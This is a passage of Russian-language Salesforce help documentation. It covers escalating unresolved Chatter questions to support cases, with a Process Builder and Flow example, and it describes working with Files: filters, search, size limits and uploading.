Salesforce, либо одновременно.

1. Введитестроку «Параметры поддержки» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Параметры поддержки».

2. Чтобы включить функцию создания обращения из вопроса во всех сообществах,
использующихфункцию «Вопросы Chatter», установите флажок «Включить
функцию создания обращения из вопроса в сообществах».

3. Чтобывключитьфункциюсозданияобращенияиз вопроса ворганизации Salesforce,
установите флажок «Включитьфункцию создания обращения из вопроса в
системе Salesforce».

4. Нажмите кнопку «Сохранить».

Прим.: Убедитесь, чтоиспользуетемакет страницынаосновеленты. Данныймакет
позволяет агентам и модераторам использовать действие «Сообщество» для
публикацииответовнарасширенныевопросы. Организация, созданнаядовыпуска
Spring'14, может использовать другой макет страницы.

СМ. ТАКЖЕ:

Добавление поля «Вопрос из Chatter» в подробное представление обращения
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Добавление поля «Вопрос из Chatter» в подробное представление обращения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
безопасности поля:
• «Управление

профилями и наборами
полномочий»

И

«Настройка
приложения»

Для настройки макетов
страниц:
• «Настройка

приложения»

При создании обращения из вопроса в Chatter поле «Вопрос из Chatter» страницы
сведенийобобращенииотображает ссылкунаисходныйвопрос. Данноеполепозволяет
агентам быстро открывать ленту.

Сначала настройте параметры безопасности поля для определения пользователей,
которым поле «Вопрос из Chatter» должно отображаться на страницах сведений
об обращениях.

1. Откройте страницу «Поля» посредством параметров управления обращениями.

2. Щелкните ссылку «Вопрос из Chatter».

3. Нажмите кнопку «Настроить параметры безопасности полей».

4. Установите флажок «Доступно» напротив нужных профилей.

5. Нажмите кнопку «Сохранить».

Теперь добавьте поле в подробное представление обращения.

1. Откройте страницу «Макеты страниц» посредством параметров управления
обращениями.

2. Щелкните ссылку «Правка» напротив нужного макета страницы.

3. Перетащите поле «Вопрос из Chatter» из раздела «Поля» на палитре редактора
макетов страниц в раздел сведений об обращении.

4. Нажмите кнопку «Сохранить».

5. Чтобыподтвердить назначениенастроенногомакета страницынужнымпрофилям,
нажмите кнопку «Назначениемакета страницы». При необходимости назначьте
данныймакет страницывнутреннимпользователям, которымдолжнобытьдоступно
поле обращения «Вопрос из Chatter».

СМ. ТАКЖЕ:

Добавление действия «Расширить до обращения» в макет элемента ленты

Поиск по параметрам управления объектами

Поиск по параметрам управления объектами
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Добавление действия «Расширить до обращения» в макет элемента ленты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактированиямакетов
страниц:
• «Настройка

приложения»

Чтобы разрешить модераторам создание обращений из вопросов, добавьте действие
«Расширить до обращения» на страницы вопросов Chatter. Данное действие создается
автоматическипривключениифункциисозданияобращенияизвопросаворганизации.

1. Введите строку «Элемент ленты» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Макет элемента ленты».

2. Щелкните ссылку «Правка» напротив нужного макета элемента ленты.

3. Перетащитедействие «Расширитьдообращения» из категории «Быстрыедействия»
на палитре в раздел «Быстрые действия» в разделе публикатора Salesforce Classic.

4. Нажмите кнопку «Сохранить».

5. Чтобы подтвердить назначение настроенного макета элемента ленты нужным
профилям, нажмите кнопку «Назначение макета страницы».

СМ. ТАКЖЕ:

Подтверждение доступа к действию «Расширить до обращения»

Подтверждение доступа к действию «Расширить до обращения»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения типов
записей:
• «Настройка

приложения»

Если организация использует несколько типов записей для обращений, убедитесь, что
профилям, которым требуется функция создания обращения из вопроса, доступен тип
записи, связанныйсдействием «Расширитьдообращения». Еслиорганизацияиспользует
только один тип записи для обращений, пропустите данный процесс.

Сначала просмотрите тип записи, назначенный профилям, которым требуется доступ
к действию «Расширить до обращения».

1. Вразделе «Настройка» введите «Профили» вполе «Быстрый поиск», затемвыберите
«Профили».

2. Щелкните имя нужного профиля.

3. Запомнитетипызаписейобращения, используемыйпрофилем, вразделе «Параметры
типа записи».

4. Убедитесь, что профилю пользователя назначено полномочие «Модерирование
Chatter» или «Модерирование лент сообществ» в разделе «Полномочия».

Затем просмотрите тип записи, используемый действием «Расширить до обращения».
При необходимости внесите соответствующие изменения.

1. Введитестроку «Действия» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Действия элемента ленты».

2. Щелкните ссылку «Правка» напротив действия «Расширить до обращения».

3. Убедитесь, что поле «Тип записи» отображает тип записи, назначенный нужным профилям. В противном случае,
выберите соответствующий тип записи из раскрывающегося списка.
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4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка макета действия «Расширить до обращения»

Настройка макета действия «Расширить до обращения»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки макетов
страниц:
• «Настройка

приложения»

Выберите поля и определите порядок их отображения для действия «Расширить до
обращения» на основе информации, которая должна отслеживаться для каждого
обращения.

1. Введитестроку «Действия» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Действия элемента ленты».

2. Щелкните ссылку «Макет» напротив действия «Расширить до обращения».

3. Перетащите нужные поля из палитры редактора макетов действий. При
необходимости измените порядок их отображения.

4. Нажмите кнопку «Сохранить».

Прим.: Общедоступные сообщества не поддерживают поиск контакта после
отправки обращения, поэтому поле «Контакт» может быть удалено из макета
действия.

СМ. ТАКЖЕ:

Автоматическое назначение обращений из вопросов очередям

Автоматическое назначение обращений из вопросов очередям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция создания
обращения из вопроса
доступна в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция создания обращения из вопроса не поддерживает правила назначения
обращений, поэтому обращение, созданное из вопроса, по умолчанию назначается
модератору, расширяющемувопрос. Принеобходимостисоздайтебизнес-правилоили
процесс, которыйавтоматическидобавляетобращения, созданныеизвопросов, вочередь,
где они доступны агентам для рассмотрения.

Расширенные вопросы могут назначаться очередям разными способами. Рекомендуем
использовать конструктор процессов Lightning для создания процесса, автоматически
назначающего обращение, поле «Тип» которого содержит значение «Вопрос»,
выбраннойочереди. Принеобходимостисоздайтепроцесс, поддерживающийнесколько
очередей. Например, процессможетназначатьобращения, содержащиеопределенную
тему, другой очереди.

Конкретныйспособназначениярасширенныхвопросовочередямопределяетсямногими
факторами, включая пользователей и цели. Выберите способ, являющийся наиболее
оптимальным для текущей организации.

Дополнительную информацию о порядке создания очереди см. в разделе «Создание очередей».

СМ. ТАКЖЕ:

Автоматическое создание обращений из нерешенных вопросов в Chatter
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Автоматическое создание обращений из нерешенных вопросов в Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция создания
обращения из вопроса
доступна в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Конструктор процессов
Lightning доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Расширение сообщества или организации не должно препятствовать быстрому
получению ответов на заданные вопросы. Функция создания обращения из вопроса
позволяет модераторам расширять нерешенные вопросы до обращенийпрямо в ленте.
Кроме того, система поддерживает конструктор процессов Lightning, позволяющий
настраивать более эффективные процессы принятия решения, аналогичные
бизнес-правилам. Настройте процесс, который автоматически создает обращения из
вопросов, соответствующих заданным критериям.

Важное замечание: Данные инструкции относятся только к организациям и
сообществам, использующимфункцию «Вопросы Chatter». Не знаете, к какому
типу относится ваша организация или сообщество? См. раздел Различия между
функциями публикации вопросов и ответов в системе Salesforce на странице 3322.

Процессыподдерживаютразныеспособыиспользованияфункциисозданияобращения
из вопроса. Например, процессы могут выполнять указанные ниже действия.

• Создание обращений из вопросов по истечении недели, при получении более
10 предпочтений и при отсутствии выбранного лучшего ответа.

• Немедленное создание обращений из вопросов при наличии слова «конкурент».

Процессы, связанные с функцией создания обращения из вопроса, используют объект
«Элемент ленты». Процесс содержит поток, оценивающий сообщения-вопросы на
соответствие заданным критериям расширения. При необходимости рекомендуем
создать переменные потока на основе нескольких полей объекта «Элемент ленты», включая:

• BestCommentId: кодкомментария, выбранноговкачествелучшегоответа. Приотсутствиикомментария, выбранного
в качестве лучшего ответа, данное поле содержит нулевое значение.

• CommentCount: количество комментариев для вопроса.

• LikeCount: количество предпочтений для вопроса.

Совет:

• Тип данных каждой переменной потока должен соответствовать типу данных поля элемента ленты. Поля
CommentCount и LikeCount являются числовыми, тогда как поле BestCommentId является текстовым.

• Создание элемента ленты может инициировать выполнение процесса; недоступно обновлениям элементов
ленты (например, предпочтения и комментарии). В зависимости от используемого процесса рекомендуем
определить время, по истечении которого необходимо выполнять связанный поток.

Дополнительные сведения

Допустим, что администратор хочет разрешить автоматическое расширение вопросов до обращений, если они
соответствуют следующим критериям.

• Прошло 24 часа.

• Вопрос получил более 4 комментариев.

• Лучший ответ не выбран.

Действие 1. Создание процесса
Сначала администратор создает процесс для объекта «Элемент ленты» посредством конструктора процессов.
Процесс выполняется только при создании элементов ленты.
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Действие 2. Добавление критериев
Администратор добавляет критерии, проверяющиенедавно созданные элементылентынаналичие вопросов.
Администратором используются параметры ниже.

• Имя критерия: Является вопросом

• Критерии для выполнения действий: Условия фильтра выполняются

• Условие фильтра: [FeedItem].Type "равно" Сообщение-вопрос

• Соответствие всем условиям (И)

Действие 3. Добавление потока
Администратор создает простой поток «Расширение вопроса до обращения» посредством облачной версии
приложения Flow Designer. Поток содержит три элемента: поиск записи, решение и быстрое действие. Данный поток
проверяет вопроснаналичиенеменеечетырех комментариевилучшегоответа. Элемент «поиск записи»извлекает
код записи из сообщения-вопроса. Ниже перечислены используемые параметры.

• Имя: Код вопроса

• Поиск: FeedItem

• Поле: Код

• Оператор: равно

• Значение: {!QuestionID}

Прим.: Администратор создает текстовую переменную {!QuestionID} для поля «Значение»
(использует тип ввода/вывода «Ввод и вывод»).

Элемент «решение» определяет необходимость расширения вопроса до обращения. Ниже перечислены
используемые параметры.

• Имя: Подлежит расширению

• Стандартный результат: Нет

• Редактируемый результат: Да

– Условия потока: {!BestCommentId} "равно нулю" {!$GlobalConstant.True}

И

{!CommentCount} "больше или равно" 4

– Все условия должны быть истинными (И)

Прим.: Администратор создает две новые переменные для поля «Условия потока»: текстовая
переменная {!BestCommentId} и числовая переменная {!CommentCount}  (обе
используют тип ввода/вывода «Ввод и вывод»).

БыстроедействиеFeedItem.EscalateQFIToCaseрасширяет вопросдообращенияпривыполненииусловийдля
результата «Да». Ниже перечислены используемые параметры.

• Имя: Расширить до обращения

• Код связанной записи: {!QuestionId}

Внимание: Не рекомендуем редактировать имя быстрого действия FeedItem.EscalateQFIToCase.
Редактирование имени действия инициирует его отображение в раскрывающемся меню действий
некоторых сообщений ленты, а также возникновение ошибок.
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Действие 4. Добавление потока в процесс
Администратор добавляет созданный поток в качестве запланированного действия. Сначала администратор
определяет необходимость выполнения потока через 24 часа после создания элемента ленты.

Затем администратордобавляетпоток впроцесспосредствомпеременной, использующейсведенияиз записи
элемента ленты. Администратором используются параметры ниже.

• Имя действия: Расширить до обращения

• Поток: Escalate_Question_to_Case

• Переменная:

– Переменная потока: QuestionId

– Значение: [FeedItem].Id

Действие 5. Сохранение и активация процесса
Просмотрите созданный процесс.

Активация процесса инициирует его выполнение для всех будущих вопросов, публикуемых в сообществах и
системе Salesforce.

Совет: Администратор может создать похожий процесс, позволяющий расширять вопросы до
обращенийпри получениине менее 10 предпочтений. Онможет сэкономить время, клонировав этот
процесс и связать его с потоком, проверяющим вопросы на количество предпочтений.

СМ. ТАКЖЕ:

Конструктор процессов Lightning

Облачная версия приложения Flow Designer
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Создание обращения из вопроса в Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания обращения из
вопроса в системе
Salesforce:
• «Модерирование

Chatter» ИЛИ
«Изменение всех
данных»

И

«Создание» для
обращений

Для создания обращения из
вопроса в сообществе:
• «Модерирование

Chatter» ИЛИ
«Изменение всех
данных» ИЛИ
«Модерирование лент
сообществ»

И

«Создание» для
обращений

Модераторы могут создавать обращения из вопросов Chatter, оставшихся без решения.
Функция создания обращения из вопроса должна быть включена в организации или
сообществе.

1. Выберите нужный вопрос в ленте.

2. Выберитепункт «Расширитьдообращения»израскрывающегосяменюдействий.
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Данное действие инициирует открытие окна, содержащего тему, контакт и описание обращения. При отсутствии
связанной очереди обращение автоматически назначается текущему пользователю.

3. При необходимости измените сведения об обращении.

4. Создайте обращение.

После создания обращения из вопроса Chatter автору вопроса отправляется сообщение эл. почты, уведомляющее о
создании обращения из его вопроса. Сообщение эл. почты содержит номер обращения и ссылку на обращение.

Ответ на вопрос может быть опубликован агентом прямо в ленте обращения посредством действия «Сообщество» в
публикаторе. Доступностьответа толькоклиентуиливсемпользователямтакжеопределяетсяагентом. Принеобходимости
агент может открыть исходный вопрос на странице сведений об обращении путем выбора ссылки в поле «Вопрос из
Chatter».

СМ. ТАКЖЕ:

Настройка функции создания обращения из вопроса

Автоматическое создание обращений из нерешенных вопросов в Chatter

Создание, публикация и систематизация файлов

Разница между вкладкой «Файлы», Salesforce CRM Content, Salesforce Knowledge,
вкладкой «Документы» и связанным списком «Вложения»

ВложенияВкладка
«Документы»

Salesforce
Knowledge

Salesforce CRM
Content

Домашняя
страница
«Файлы»

Добавление
файлов в записи

Хранение
веб-ресурсов

Создание и
управление

Публикация и
совместное

Загрузка, хранение,
поиск,

Назначение

из связанного(например,содержимымиспользованиеотслеживание,
списка «Вложения»логотипов,(также известнымслужебныхобщий доступ,
на выбранныхDOT-файлов икак «статьи») в базекорпоративныхсинхронизация и
страницах
сведений.

прочих
материалов
Visualforce) впапках

знаний.
Внутренние
пользователи и

файлов, а также
доставка этих
файлов клиентам.

сотрудничество
над файлами
Salesforce.

без их добавления
в записи.

клиенты (на
клиентском
портале,
партнерском
портале, портале
Service Cloud или
Force.com Sites)
могут быстро
находить и
просматривать
нужные им статьи.
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ВложенияВкладка
«Документы»

Salesforce
Knowledge

Salesforce CRM
Content

Домашняя
страница
«Файлы»

Добавлениефайла
в конкретные

Добавление
настраиваемого

Создание,
редактирование,

Создание,
клонированиеили

Загрузка файла и
его сохранение в

Практическое
использование

записи (например,логотипа впубликация иредактированиекачестве личного
события,запросы надобавление статейторговыхдо тех пор, пока к
маркетинговыепроведениев архив на вкладкепрезентаций, анему не будет
кампании,конференции«Управлениетакже ихпредоставлен
контакты илипутем его загрузкистатьями», а такжесохранение собщий доступ.
обращения) путемна вкладку

«Документы».
поиск и просмотр
опубликованных
статей на вкладке

целью личного
доступа. Чтобы
предоставить

Общий доступ к
файлу для
совместной

его добавления в
связанный список
«Вложения».«Статьи». Клиенты

и партнеры могут
доступ остальным
пользователям

работы с
коллегами и

иметь доступ корганизации,группами с целью
статьям только внеобходимополучения отзыва.
том случае, еслинаопубликоватьДобавление
клиентскомготовуюфайлов к
портале,презентацию. Длясообщениям в
партнерскомэто следует создатьленте Chatter на
портале, порталепакетсодержимоговкладках
Service Cloud илии отправить его

клиентам.
«Начальная
страница» и
Chatter, в профиле,

Force.com Sites
включена
поддержказаписиилигруппе.
SalesforceПользователи,
Knowledge. Приимеющиедоступк
необходимостиприложению
пользователиSalesforce Files Sync,
могут создатьмогут открывать,
общедоступнуюсинхронизировать
базу знаний,и предоставлять
позволяющуюобщий доступ к
посетителямфайлам в папке

Salesforce Files Sync. веб-сайта
просматривать
статьи.

ВсеВсеВсеВсеВсеПоддерживаемые
типыфайлов

5 Мбдлявложений2 ГбМаксимальный
размерфайла

• 25 Мб для
файловых
вложений

• 5 Мб• 2 Гб

• •2 Гб (включая
заголовки) при

20 Кб для
логотипа
настраиваемого
приложения

загрузке
посредством
Chatter REST API
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ВложенияВкладка
«Документы»

Salesforce
Knowledge

Salesforce CRM
Content

Домашняя
страница
«Файлы»

• 2 Гб для
вложений
ленты

• 2 Гб (включая
заголовки) при
загрузке
посредством
REST API

• 38 Мб при
загрузке
посредством
SOAP API

• 10 Мб для
документов
Google

• 10 Мб при
загрузке
посредством
Visualforce

СМ. ТАКЖЕ:

Общие сведения о файлах

Salesforce CRM Content

Начальная страница документов

Salesforce Files

Общие сведения о файлах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Рекомендуемиспользовать вкладку «Файлы»дляобработкифайлов в системе Salesforce.

Ниже перечислены действия, подразумеваемые под работой с файлами в системе
Salesforce.

• Сотрудничествос коллегамипутемпубликациифайлов влентыизаписи (например,
организации, обращения, интересы и т. д.).

• Совместное использование файлов с клиентами в безопасном облаке Salesforce.

• Синхронизация файлов между локальным диском и системой Salesforce.

• Определение способов использования файлов путем выполнения стандартных и
настраиваемых отчетов по файлам.

Вкладка «Файлы»поддерживает эффективныйнаборинструментов, предназначенный
для обработки и управления файлами.
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• Фильтрация списка файлов (1) позволяет пользователям просматривать только нужные файлы. Чтобы изменить
область списка файлов, щелкните имя любого фильтра.

• Выборилиперетаскиваниекакминимумодногофайладля загрузки (2) в систему Salesforce. Поддерживаютсявсе типы
файлов, в том числе: презентации Microsoft® PowerPoint, электронные таблицы Excel, PDF-файлы Adobe®, изображения,
аудио- и видеофайлы.

• Использование специального поля (3) для поиска нужных файлов. Фильтрация списка файлов также инициирует
фильтрацию результатов поиска. Чтобы выполнить поиск по всем доступнымфайлам, воспользуйтесь фильтром
«Недавние».

• Предварительныйпросмотр, отслеживание, загрузка, добавлениеверсии, публикацияисинхронизацияфайловпрямо
в списке файлов (4). Чтобы открыть страницу сведений о файле, щелкните имя нужного файла. Страница сведений
офайлепозволяет выполнятьотчетыпофайлу, просматриватьпользователей, отслеживающихфайл, редактировать
сведения о файле и т. д.

• Загрузка Salesforce Files Sync (5) для синхронизациифайлов между компьютером пользователя и системой Salesforce.

Файлы автоматически добавляются в список файлов, если:

• файл загружен текущим пользователем;

• файл добавлен в запись;

• текущий или другой пользователь добавляет файл в комментарий или ленту Chatter. Сюда относятся файлы,
добавленные во все общедоступные группы, независимо от того, является ли пользователь их участником, а также в
личные группы, участником которых он является, но не в личные группы, участником которых он не является;

• файл синхронизируется посредством папки Salesforce Files Sync;

• доступ кфайлу предоставляется текущему пользователю в частном порядке посредством диалогового окна «Общий
доступ»;

• пользователь загружает файл в библиотеку Salesforce CRM Content;

• другой пользователь загружает файл в библиотеку, участником которой является текущий пользователь;
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• текущий или другой пользователь создает пакет содержимого или загружает веб-ссылку в Salesforce CRM Content.
Пользователь может просматривать файлы только из тех пакетов содержимого и веб-ссылок, к которым он имеет
доступ.

Прим.: При использовании обозревателя Internet Explorer 11 параметр «Предварительныйпросмотр» открывает
страницу сведений о файле.

Ниже перечислены ограничения для файлов в системе Salesforce.

ОграничениеФункция

Размер файла • 2 Гб при загрузке посредством веб-интерфейса

• 2 Гбпризагрузкепосредствомнастольногоклиентского
приложения Salesforce Files Sync (или 500 Мб при
использовании прокси-сервера)

• 100 Мб при загрузке посредством мобильного
устройства

2 048 версийМаксимальное количество версий на один файл

Пользователи могут синхронизировать не более 10 000
файлов.

Максимальное количество синхронизированныхфайлов
и папок

1 000 пользователейМаксимальное количество пользователей, которым
доступна одновременная синхронизация файла

Прим.:

• Дополнительнуюинформациюоразныхинструментахирешениях, доступныхдляфайлов в системе Salesforce,
см. вразделе «Разницамежду вкладкой "Файлы", Salesforce CRM Content, Salesforce Knowledge, вкладкой "Документы"
и связанным списком "Вложения"».

• Дополнительнуюинформациюо том, комуи какие действияможно выполнять надфайлами, см. в разделе «Кто
может просматривать мой файл».

• Компонентсинхронизациифайлов (например, фильтр «Синхронизированные») доступентолькоприналичии
приложения Salesforce Files Sync, настроенного для пользователя и организации.

• Файлы, подключенные к системе Salesforce из хранилищ (например, Microsoft® SharePoint®), доступны только при
включении Salesforce Files Connect для пользователя и организации.
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• Ленты, группы Chatter и возможность отслеживания файлов доступны только для организаций с поддержкой
Chatter.

СМ. ТАКЖЕ:

Просмотр сведений о файле

Кто может просматривать мой файл

Изменение полномочий для работы с файлами

Синхронизация файлов и папок

Загрузка новой версии файла

Добавление файла в сообщение или комментарий

Отслеживание файла

Вкладка «Файлы»

Домашняя страница «Файлы»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

На начальной странице «Файлы» можно сохранять личные файлы, предоставлять к
файлам общий доступ другим пользователям и просматривать доступные файлы.

Ниже перечислены действия, доступные на начальной странице «Файлы».

• Просмотр всех собственных или доступных файлов и фильтрация списка файлов.

• Поиск файлов с помощьюфильтров и области поиска на странице «Файлы» или
вверху страницы.

• Загрузите личные файлы или загрузите и предоставьте доступ к файлам людям,
группам или по ссылке.

• Приналичииполномочия «Синхронизацияфайлов» откройтесинхронизированные
файлы в папке Salesforce Files Sync.

• Откройте файл для предварительного просмотра без его загрузки.

• Начните отслеживаниефайла и получение обновлений в ленте Chatter. Чтобы отменить получение обновлений для
отслеживаемого файла, щелкните рядом с файлом. (Требуется Chatter.)

• Чтобы загрузить исходную или новую версиюфайла, предоставить доступ к файлу определенным людям, группам

или по ссылке, либо просмотреть параметры общего доступа, щелкните значок .

• Чтобы просмотреть страницу сведений о файле, щелкните имя нужного файла.

• Чтобы просмотреть профиль ответственного за файл, щелкните его имя.

СМ. ТАКЖЕ:

Фильтрация списка файлов

Кто может просматривать мой файл
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Фильтрация списка файлов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Фильтры на странице «Файлы» предоставляют быстрый доступ к разным наборам
файлов в системе Salesforce.

Страница «Файлы» содержит все собственные и доступные пользователюфайлы.
Фильтры позволяют просматривать различные наборыфайлов и быстро находить
нужное.

ОписаниеИмя фильтра

Все собственные и доступные
пользователюфайлы.

Всефайлы

Файлы, просмотренные пользователем
последними.

Недавние

Только собственные файлы.Принадлежащие мне

Только файлы, доступ к которым
предоставленвчастномпорядкеилипутем
публикации в профиль пользователя.

Используемые совместно со мной

Только файлы, отслеживаемые в Chatter.
Данныйфильтр доступен только в
организациях, которыеиспользуют Chatter.

Отслеживаемые

Всефайлы, синхронизированные в папке
Salesforce Files Sync. Данныйфильтр

Синхронизированные

доступен только пользователям с
полномочием «Синхронизация файлов».

Файлы, загруженные текущим и другими
пользователями в личные и

Библиотеки

общедоступные библиотеки,
сгруппированные по именам.

СМ. ТАКЖЕ:

Просмотр областей совместного использования файла
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Поиск файлов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Специальное поле поиска на вкладке «Файлы» в системе Salesforce позволяет быстро
находить нужные файлы.

Вкладка «Файлы»отображает собственныеидоступныепользователюфайлы, включая
файлы, опубликованныевлентах. Поумолчаниюнастраницеотображаются 25 файлов,
которыебылипросмотреныпоследними. Дляпоискаипросмотраопределеннойгруппы
файлов выберитенужныйфильтрна боковойпанели.Результатыпоискафильтруются
на основе введенных критериев.

Прим.: При наличии полномочия «Синхронизация файлов» пользователям не
отображаютсяфильтры «Всефайлы», «МОИФАЙЛЫ»и «ФАЙЛЫВМОИХ
ГРУППАХ». Приотсутствииполномочия «Синхронизацияфайлов» пользователям
не отображается фильтр «Синхронизированные».

• «Всефайлы»: все собственные и доступные пользователюфайлы, включая:

– файлы, доступные для совместного использования;

– отслеживаемые файлы;

– файлы в группах Chatter;

– файлы в библиотеках;

– файлы, добавленные другими пользователями в ленту Chatter. Сюда относятся файлы, добавленные во все
общедоступные группы, независимо от того, является ли пользователь их участником, а также в личные группы,
участником которых он является, но не в личные группы, участником которых он не является.

Данныйфильтр недоступен пользователям с полномочием «Синхронизация файлов».

• «Недавние»: файлы, просмотренные пользователем последними.

• «МОИФАЙЛЫ»: все собственные, общедоступные и отслеживаемые файлы.

– «Принадлежащие мне»: файлы, которые...

• загружены на вкладку «Начальная страница» илистраницу «Файлы». Данные файлы являются личными и
недоступными для других пользователей, поэтому могут просматриваться, изменяться, публиковаться и
добавляться в ленты Chatter;

• добавлены в ленты Chatter с компьютера пользователя;

• синхронизированы посредством папки Salesforce Files Sync;

• загружены в личные и общедоступные библиотеки Salesforce CRM Content со своим участием.

– «Используемые совместно со мной»: все файлы, доступ к которым предоставлен в частном порядке или путем
публикации в профиль пользователя.

– «Отслеживаемые»: все файлы, отслеживаемые текущим пользователем.

• «ФАЙЛЫВМОИХГРУППАХ»: все файлы, опубликованные текущим и другими пользователями в группы со
своим участием. Отображаются последние пять просмотренных групп.

• «ФАЙЛЫВМОИХБИБЛИОТЕКАХ»: всефайлы, загруженныетекущимидругимипользователямивбиблиотеки
со своим участием, и всефайлы, загруженные в личнуюбиблиотеку. Отображаются первые пять библиотек со своим
участием, включая личную библиотеку. Если текущий пользователь является участником большего количества
библиотек, то для просмотра полного списка следует нажать «Дополнительно».

• «Синхронизированные»: все файлы, синхронизированные в папке Salesforce Files Sync. Данныйфильтр доступен
только пользователям с полномочием «Синхронизация файлов».
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Чтобы найти файлы с помощьюфункции поиска на странице «Файлы», выполните указанные ниже действия.

1. Чтобы ограничить область поиска определенным набором файлов, выберите нужныйфильтр на боковой панели.

2. Введите критерии поиска в поле поиска на вкладке «Файлы». Поиск может выполняться по имени, описанию,
ответственному и типу файла, а также по тексту, доступному в этом файле.

3. Чтобы просмотреть отфильтрованный список файлов, соответствующих указанным критериям поиска, нажмите
кнопку «Поиск». Чтобы очистить критерии поиска, щелкните значок .

Чтобы найти нужные файлы, воспользуйтесь полем поиска в верхнем колонтитуле страницы. Чтобы найти файлы,
опубликованные в конкретную ленту Chatter (например, в профиле, записи или группе), воспользуйтесь поиском по
лентам.

Прим.: Поиск по лентам возвращает совпадающие именафайлов или ссылок, опубликованных в сообщениях, но
не в комментариях.

В списке «Файлы» не отображаются указанные ниже элементы.

• Документы на вкладке «Документы»

• Вложения из связанного списка «Примечания и вложения»

Функция поиска поддерживает несколько типов файлов и использует ограничения по их размеру. Если размер файла
превышаетмаксимальнодопустимый, топоискпо тексту данногофайлане выполняется, номожетбыть выполненпоиск
по имени, описанию, типу или ответственному.

Максимальный размер файла для
поиска по тексту

Расширения файлаТип файла

5 Мб.htm, .html, .xhtmlHTML

25 Мб.pdfPDF

25 Мб.ppt, .pptx, .pptmPPT

5 Мб.rtfRTF

5 Мб.c, .cpp, .css, .csv, .ini, .java,
.log, .sql, .txt

Текст

25 Мб.doc, .docx, .docmWord

5 Мб.xls, .xlsx, .xlsmXLS

5 Мб.xmlXML

СМ. ТАКЖЕ:

Отслеживание файла

Фильтрация списка файлов

3343

Создание, публикация и систематизация файловРасширенное сотрудничество



Загрузка и публикация файлов

Загрузка файлов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Загружайте файлы с начальной страницы «Файлы», в лентах, возможностях или других
записях.

Ниже перечислены области, поддерживающие загрузку и предоставление общего
доступа к файлам.

• Домашняя страницаФайлы

• Любое поле сообщения или комментария ленты Chatter

• КарточкаилисписокФайлы в группах, пользовательскихпрофилях, возможностях
и других записях

Поддерживаются все типыфайлов, в том числе: презентации Microsoft® PowerPoint,
электронные таблицы Excel, PDF-файлы Adobe®, изображения, аудио- и видеофайлы.По
умолчанию максимальный размер загружаемых файлов не должен превышать 2 Гб.
Помните, что максимальный размер файла дополнительно определяется администратором организации.

Домашняя страница «Файлы»

Загруженные файлы добавляются в список «Принадлежащие мне» на начальной страницеФайлы.По умолчанию
файлы, загруженные на странице «Файлы», являются личными.

Ниже перечислены действия, инициирующие добавление файлов в систему Salesforce.

• Добавление файла в ленту Chatter.

• Загрузка файлов в личные и общедоступные библиотеки Salesforce CRM Content.

• Синхронизация файла посредством папки Salesforce Files Sync.

• Создание пакетов содержимого или загрузка веб-ссылок в Salesforce CRM Content.

В списке «Файлы» не отображаются указанные ниже элементы.

• Документы на вкладке «Документы»

• Вложения из связанного списка «Примечания и вложения»

Прим.: Файлы, расширениекоторыхнераспознаноилиотсутствует, отображаютсяв столбце «Тип» какнеизвестные.

Личные файлы

Личныйфайл — это собственныйфайл, который не был опубликован для общего доступа. Личные файлы доступны
только ответственным и пользователям с полномочием «Просмотр всех данных». Для личных файлов отображается
значок замка в списке «Файлы» и на странице сведений о файле. Поиск личных файлов может выполняться в сети
Chatter и списке «Файлы».

Предоставление общего доступа к личнымфайлам

Чтобы предоставить общий доступ к личному файлу, воспользуйтесь страницей сведений о файле или добавьте файл
в ленту Chatter, профиль, запись или группу. Также доступ к файлу может быть предоставлен по ссылке. Личныйфайл,
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к которому был предоставлен доступ, становится общедоступным. Дополнительную информацию о том, кому и какие
действия можно выполнять над файлами, см. в разделе «Кто может просматривать мой файл».

СМ. ТАКЖЕ:

Ограничения по размеру файлов в Salesforce

